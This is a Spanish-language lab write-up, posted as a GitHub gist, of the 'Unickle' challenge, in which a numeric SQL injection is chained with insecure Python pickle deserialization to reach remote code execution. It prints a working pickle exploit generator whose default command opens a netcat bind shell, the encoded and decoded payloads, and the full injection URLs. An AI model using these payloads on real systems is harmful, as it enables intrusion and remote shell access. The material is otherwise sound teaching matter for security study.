Skip to content

Instantly share code, notes, and snippets.

@Retr02332
Last active July 5, 2021 04:59
Show Gist options
  • Save Retr02332/676f774d5eaab6a8e326dec0f52be3cd to your computer and use it in GitHub Desktop.
Save Retr02332/676f774d5eaab6a8e326dec0f52be3cd to your computer and use it in GitHub Desktop.
Unickle (write-up)

Unickle

¿En que consiste?

Este reto trata de encontrar un SQL injection, y usar este para escalar a un RCE.

Reconocimiento

Lo primero en lo que me fije fue en el nombre del reto: Unickle. Este nombre me hizo acordar de pickle. Una librería de python para serializar y deserializar objetos.

Con esto ya tenia una idea un poco vaga (ya que aun no había confirmado que en verdad se tratara de la librería pickle) de como podría lograr el RCE.

Por otro lado, antes de poder explotar el RCE, debemos primero aprovecharnos de un SQL injection. Así que lo primero fue buscar un posible punto en la aplicación, que sea susceptible a un SQL injection.

Navegando en el app me di cuenta de que había una ruta sospechosa:

Ruta susceptible a un SQL Injection

Esta era la URL que vi como principal punto de entrada:

  • https://ptl-fac98600-7613a88f.libcurl.so/?cat=1

Ademas podemos ver en la imagen que la columna Value contiene la representación de cadena del objeto. Supongo que los datos originalmente están serializados, y lo que hace es deserializarlo y mostrar el __str__() del objeto.

Es importante tener esto en cuenta, ya que puede que mas adelante nos sirva esta información.

Explotación del SQL Injection

Generalmente en las consultas SQL cuando usamos números, no solemos encerrar la consulta entre comillas. Por ende, tras unos minutos de prueba llegue al siguiente payload:

  • /?cat=1+ORDER+BY+4--

La técnica del ORDER BY, es útil para saber cuantas columnas tiene la tabla en cuestión. Como pueden ver, ya se que la tabla tiene solo 4 columnas.

Con este conocimiento, ahora si puedo proceder a realizar el famoso UNION SELECT, para realizar una segunda consulta SQL.

Pero... ¿ya sabemos que es exactamente lo que debemos hacer con el SQL injection?, es este un punto importante durante el reto. Ya tenemos el SQLI, ahora solo nos falta saber como aprovecharnos de esto para lograr un RCE (posiblemente aprovechándonos de una deserialización insegura con pickle).

Cuando entramos por primera vez al app web, vemos un enunciado que dice:

  • We store objects for free. Our service is in beta, you can only access stored objects at the moment.

Entonces eso nos dice que no podemos subir mas objetos, solo usar los que ya están..., en este momento estaba un poco perdido, pero luego se me ocurrió aprovecharme de la sentencia UNION SELECT, para saber el nombre de las columnas de la tabla y así luego tratar de injectar un objeto de alguna manera. Asi que eso hice, mande esto a la aplicación:

  • /?cat=1+UNION+SELECT+null,null,null,null--

A lo que el servidor respondió con esto:

  #   Name  Value Category

None  None  None  None

Eso fue bueno. Significa que si cambio los valores null, por cualquier otro, podre saber que valor a que columna pertenece. Ademas al reflejarse los valores, puedo inyectar objetos y estos se mostraran en la pagina sin problema alguno después de que se deserialicen.

Para poder saber que valor a que columna pertenece, mande el siguiente payload:

  • /?cat=1+UNION+SELECT+22,23,24,25--

El servidor me respondio con lo siguiente:

  #   Name                  Value                  Category

 22   23    'int'object has no attribute'encode'     25

En el campo Value, se muestra la representación de string __str__() de un objeto. Es por eso que ese es nuestro punto de entrada, intentaremos inyectar un string pickle malicioso para ejecutar un comando arbitrario.

Lo primero es que para enviar nuestro exploit debemos envolverlo entre comillas. Ya que como vimos anteriormente, el servidor nos dice que un int no tiene el método encode(). El método encode() en python sirve para cambiar la codificación de una cadena, por defecto el método usa una codificación UTF-8.

Ejemplo:

  • "hola".encode() => b"hola"

Ya tenemos casi todo listo. Solo nos queda generar nuestro exploit.

Explotación de la deserialización insegura

Solo debemos correr el siguiente script:

import cPickle
import sys
import base64

DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

Debes ejecutarlo con un interprete de python2, en caso de que el comando por defecto no sea el que necesitas solo debes pasarle el comando que tu deseas como parámetro así:

python pwnPickle.py "/usr/local/bin/score 9b7f1cd1-9e32-42a4-a590-5a06b94f306d"

El anterior comando me regreso lo siguiente:

  • Y3Bvc2l4CnN5c3RlbQpwMQooUycvdXNyL2xvY2FsL2Jpbi9zY29yZSA5YjdmMWNkMS05ZTMyLTQyYTQtYTU5MC01YTA2Yjk0ZjMwNmQnCnAyCnRScDMKLg==

Generalmente las aplicaciones web reciben los datos como base64, por eso de no perder los datos en el camino debido a caracteres extravagantes. De hecho me pase casi 1 hora completa intentando encontrar funciones en la base de datos que me permitieran decodificar la cadena para que la pudiera interpretarla bien y no se perdieran datos en el camino. Luego fue que me di cuenta de que en realidad debía mandar la cadena en crudo.

Por lo tanto si estas en un sistema linux, puedes hacer lo siguiente:

echo "Y3Bvc2l4CnN5c3RlbQpwMQooUycvdXNyL2xvY2FsL2Jpbi9zY29yZSA5YjdmMWNkMS05ZTMyLTQyYTQtYTU5MC01YTA2Yjk0ZjMwNmQnCnAyCnRScDMKLg==" | base64 -d

Lo anterior nos devolverá el payload que necesitamos para explotar el fallo.

cposix
system
p1
(S'/usr/local/bin/score 9b7f1cd1-9e32-42a4-a590-5a06b94f306d'
p2
tRp3
.

Obteniendo el RCE

Ahora solo nos queda enviar el payload anterior para causar la deserialización insegura y aprovecharnos esto para causar un RCE.

Todo junto se ve de la siguiente manera:

  • /?cat=1 UNION SELECT 25,26,"cposix system p1 (S'/usr/local/bin/score 9b7f1cd1-9e32-42a4-a590-5a06b94f306d' p2 tRp3",28 --

El servidor me responde con lo siguiente:

  #     Name                  Value                  Category

 22     23           pickle data was truncated         25

Investigando en internet, me di cuenta de que esto sucedía cuando el pickle estaba corrupto.

Lo que me hizo pensar en que claramente cuando mando el payload en la URL, no estoy respetando los saltos de linea. Por ende envié de nuevo el payload pero agregando %0A en todos los lugares necesarios.

El nuevo payload se ve así:

  • /?cat=1+UNION+SELECT+25,26,"cposix%0Asystem%0Ap1%0A(S%27/usr/local/bin/score%209b7f1cd1-9e32-42a4-a590-5a06b94f306d%27%0Ap2%0AtRp3%20%0A.",28--

Con esto lograba mantener los saltos de linea para que así se pudieran deserializar de manera correcta. Y así fue, el servidor me devolvió un 0 en el campo Value, lo cual era una respuesta totalmente diferente a todas la veces anteriores (ya que esta era la única vez en la que no me devolvió un error).

Pickle RCE

Esto confirma que la explotación se ha realizado con éxito.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment